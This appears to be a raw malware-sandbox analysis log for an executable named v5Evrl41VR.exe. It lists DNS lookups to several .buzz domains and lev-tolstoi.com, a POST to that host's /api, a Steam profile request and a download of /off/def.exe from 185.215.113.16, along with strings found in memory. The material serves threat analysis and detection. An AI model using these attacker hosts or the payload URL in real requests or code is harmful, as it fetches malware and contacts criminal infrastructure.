Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_130.6.dr, chromecache_110.6.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_130.6.dr, chromecache_110.6.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_130.6.dr, chromecache_110.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_130.6.dr, chromecache_110.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_130.6.dr, chromecache_110.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)
Source: v5Evrl41VR.exe, 00000000.00000003.1357987726.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: v5Evrl41VR.exe, 00000000.00000003.1381065089.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-srf equals www.youtube.com (Youtube)
Source: v5Evrl41VR.exe, 00000000.00000003.1380954502.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=7d3cb219e08f524ee0aae6df; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35121Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveSat, 28 Dec 2024 08:48:30 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control` equals www.youtube.com (Youtube)
Source: v5Evrl41VR.exe, 00000000.00000003.1381065089.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: adcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowe equals www.youtube.com (Youtube)
Source: v5Evrl41VR.exe, 00000000.00000003.1380954502.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=7d3cb219e08f524ee0aae6df; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35121Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveSat, 28 Dec 2024 08:48:30 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control` equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: mindhandru.buzz
Source: global traffic	DNS traffic detected: DNS query: prisonyfork.buzz
Source: global traffic	DNS traffic detected: DNS query: rebuildeso.buzz
Source: global traffic	DNS traffic detected: DNS query: scentniej.buzz
Source: global traffic	DNS traffic detected: DNS query: inherineau.buzz
Source: global traffic	DNS traffic detected: DNS query: screwamusresz.buzz
Source: global traffic	DNS traffic detected: DNS query: appliacnesot.buzz
Source: global traffic	DNS traffic detected: DNS query: cashfuzysao.buzz
Source: global traffic	DNS traffic detected: DNS query: hummskitnj.buzz
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: lev-tolstoi.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com

Source: v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: v5Evrl41VR.exe, v5Evrl41VR.exe, 00000000.00000003.1618482641.0000000000D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: v5Evrl41VR.exe, 00000000.00000003.1618482641.0000000000D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16//9K
Source: v5Evrl41VR.exe, v5Evrl41VR.exe, 00000000.00000003.1618482641.0000000000D02000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1618521680.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1618598267.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1618727396.0000000000D11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1618521680.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeb
Source: v5Evrl41VR.exe, 00000000.00000003.1618521680.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeh
Source: v5Evrl41VR.exe, 00000000.00000003.1618598267.0000000000C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1458834691.0000000005740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: v5Evrl41VR.exe, 00000000.00000003.1458834691.0000000005740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: v5Evrl41VR.exe, 00000000.00000003.1458834691.0000000005740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: v5Evrl41VR.exe, 00000000.00000003.1458834691.0000000005740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: v5Evrl41VR.exe, 00000000.00000003.1458834691.0000000005740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: v5Evrl41VR.exe, 00000000.00000003.1458834691.0000000005740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: v5Evrl41VR.exe, 00000000.00000003.1458834691.0000000005740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: v5Evrl41VR.exe, 00000000.00000003.1458834691.0000000005740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: v5Evrl41VR.exe, 00000000.00000003.1458834691.0000000005740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_130.6.dr, chromecache_110.6.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_130.6.dr, chromecache_110.6.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_130.6.dr, chromecache_110.6.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_130.6.dr, chromecache_110.6.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_106.6.dr	String found in binary or memory: http://schema.org/Organization
Source: v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380768108.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380768108.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380768108.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: v5Evrl41VR.exe, 00000000.00000003.1458834691.0000000005740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: v5Evrl41VR.exe, 00000000.00000003.1458834691.0000000005740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: v5Evrl41VR.exe, 00000000.00000003.1412091988.000000000576B000.00000004.00000800.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1412168551.0000000005768000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_130.6.dr, chromecache_110.6.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_130.6.dr, chromecache_110.6.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_106.6.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_130.6.dr, chromecache_110.6.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_130.6.dr, chromecache_110.6.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_106.6.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1527594777.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: chromecache_106.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_106.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: chromecache_130.6.dr, chromecache_110.6.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: v5Evrl41VR.exe, 00000000.00000003.1460351861.00000000057B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&ci=1696500454657.12791&key=1696500454400500
Source: v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: v5Evrl41VR.exe, 00000000.00000003.1412091988.000000000576B000.00000004.00000800.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1412168551.0000000005768000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: v5Evrl41VR.exe, 00000000.00000003.1380954502.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1381065089.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: v5Evrl41VR.exe, 00000000.00000003.1412091988.000000000576B000.00000004.00000800.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1412168551.0000000005768000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: v5Evrl41VR.exe, 00000000.00000003.1412091988.000000000576B000.00000004.00000800.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1412168551.0000000005768000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_130.6.dr, chromecache_110.6.dr	String found in binary or memory: https://channel9.msdn.com/
Source: v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1527594777.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: chromecache_130.6.dr, chromecache_110.6.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380768108.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
